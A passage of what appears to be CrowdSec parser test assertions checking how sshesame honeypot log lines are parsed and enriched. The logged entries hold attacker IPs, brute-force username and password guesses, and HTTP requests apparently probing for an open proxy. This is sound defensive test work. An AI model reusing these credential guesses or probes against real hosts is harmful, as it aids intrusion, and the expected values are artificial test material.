ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Enriched["MarshaledTime"] == "2022-05-06T08:57:43Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Parsed["sshesame_user"] == "ubnt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Parsed["timestamp"] == "2022/05/06 09:14:09" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Parsed["message"] == "2022/05/06 09:14:09 [92.159.59.16:39498] authentication for user \"ubnt\" with password \"ubnt1\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Parsed["source_ip"] == "92.159.59.16" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Parsed["sshesame_password"] == "ubnt1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["source_ip"] == "92.159.59.16" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["target_user"] == "ubnt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["timestamp"] == "2022-05-06T09:14:09Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["username"] == "ubnt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][30].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:14:09Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Parsed["message"] == "2022/05/06 09:14:14 [15.207.177.208:41458] authentication for user \"roo\" with password \"123456\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Parsed["source_ip"] == "15.207.177.208" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Parsed["sshesame_password"] == "123456" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Parsed["sshesame_user"] == "roo" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Parsed["timestamp"] == "2022/05/06 09:14:14" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["target_user"] == "roo" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["timestamp"] == "2022-05-06T09:14:14Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["username"] == "roo" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Meta["source_ip"] == "15.207.177.208" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][31].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:14:14Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Parsed["source_ip"] == "15.207.177.208" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Parsed["timestamp"] == "2022/05/06 09:14:16" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Parsed["message"] == "2022/05/06 09:14:16 [15.207.177.208:41708] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["timestamp"] == "2022-05-06T09:14:16Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["username"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Meta["source_ip"] == "15.207.177.208" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][32].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:14:16Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Parsed["message"] == "2022/05/06 09:15:03 [3.16.59.158:43316] authentication for user \"root\" with password \"sr1234\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Parsed["source_ip"] == "3.16.59.158" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Parsed["sshesame_password"] == "sr1234" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Parsed["sshesame_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Parsed["timestamp"] == "2022/05/06 09:15:03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["timestamp"] == "2022-05-06T09:15:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["username"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Meta["source_ip"] == "3.16.59.158" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][33].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:15:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Parsed["sshesame_user"] == "knockknockwhosthere" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Parsed["timestamp"] == "2022/05/06 09:15:04" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Parsed["message"] == "2022/05/06 09:15:04 [3.16.59.158:43318] authentication for user \"knockknockwhosthere\" with password \"knockknockwhosthere\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Parsed["source_ip"] == "3.16.59.158" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Parsed["sshesame_password"] == "knockknockwhosthere" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["source_ip"] == "3.16.59.158" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["target_user"] == "knockknockwhosthere" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["timestamp"] == "2022-05-06T09:15:04Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Meta["username"] == "knockknockwhosthere" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][34].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:15:04Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Parsed["source_ip"] == "3.16.59.158" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Parsed["sshesame_password"] == "1212" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Parsed["sshesame_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Parsed["timestamp"] == "2022/05/06 09:17:10" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Parsed["message"] == "2022/05/06 09:17:10 [3.16.59.158:43418] authentication for user \"root\" with password \"1212\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["timestamp"] == "2022-05-06T09:17:10Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["username"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["source_ip"] == "3.16.59.158" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][35].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:17:10Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Parsed["sshesame_user"] == "knockknockwhosthere" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Parsed["timestamp"] == "2022/05/06 09:17:11" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Parsed["message"] == "2022/05/06 09:17:11 [3.16.59.158:43420] authentication for user \"knockknockwhosthere\" with password \"knockknockwhosthere\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Parsed["source_ip"] == "3.16.59.158" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Parsed["sshesame_password"] == "knockknockwhosthere" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["timestamp"] == "2022-05-06T09:17:11Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["username"] == "knockknockwhosthere" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["source_ip"] == "3.16.59.158" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Meta["target_user"] == "knockknockwhosthere" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][36].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:17:11Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Parsed["message"] == "2022/05/06 09:21:27 [190.2.139.67:7117] [channel 127] input: \"GET /?requestid=11658 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Parsed["sshesame_input"] == "GET /?requestid=11658 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Parsed["timestamp"] == "2022/05/06 09:21:27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Meta["timestamp"] == "2022-05-06T09:21:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Meta["input"] == "GET /?requestid=11658 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][37].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:21:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Parsed["timestamp"] == "2022/05/06 09:23:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Parsed["message"] == "2022/05/06 09:23:00 [45.82.65.44:42736] [channel 27] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Meta["timestamp"] == "2022-05-06T09:23:00Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][38].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:23:00Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Parsed["timestamp"] == "2022/05/06 09:23:01" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Parsed["message"] == "2022/05/06 09:23:01 [45.82.65.44:42736] [channel 27] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Meta["timestamp"] == "2022-05-06T09:23:01Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][39].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:23:01Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Parsed["timestamp"] == "2022/05/06 09:27:47" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Parsed["message"] == "2022/05/06 09:27:47 [190.2.139.67:7117] [channel 132] input: \"GET /?requestid=58465 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Parsed["sshesame_input"] == "GET /?requestid=58465 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Meta["timestamp"] == "2022-05-06T09:27:47Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Meta["input"] == "GET /?requestid=58465 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][40].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:27:47Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Parsed["message"] == "2022/05/06 09:36:45 [190.2.139.67:7117] [channel 134] input: \"GET /?requestid=17483 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Parsed["sshesame_input"] == "GET /?requestid=17483 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Parsed["timestamp"] == "2022/05/06 09:36:45" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Meta["input"] == "GET /?requestid=17483 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Meta["timestamp"] == "2022-05-06T09:36:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][41].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:36:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Parsed["timestamp"] == "2022/05/06 09:39:53" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Meta["timestamp"] == "2022-05-06T09:39:53Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][42].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:39:53Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Parsed["message"] == "2022/05/06 09:39:53 [195.3.147.60:48037] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Parsed["timestamp"] == "2022/05/06 09:39:53" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Meta["timestamp"] == "2022-05-06T09:39:53Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][43].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:39:53Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Parsed["source_ip"] == "190.123.44.157" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Parsed["sshesame_password"] == "1234!@#$" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Parsed["sshesame_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Parsed["timestamp"] == "2022/05/06 09:44:27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Parsed["message"] == "2022/05/06 09:44:27 [190.123.44.157:50934] authentication for user \"root\" with password \"1234!@#$\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["username"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["source_ip"] == "190.123.44.157" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Meta["timestamp"] == "2022-05-06T09:44:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][44].Evt.Enriched["MarshaledTime"] == "2022-05-06T09:44:27Z" 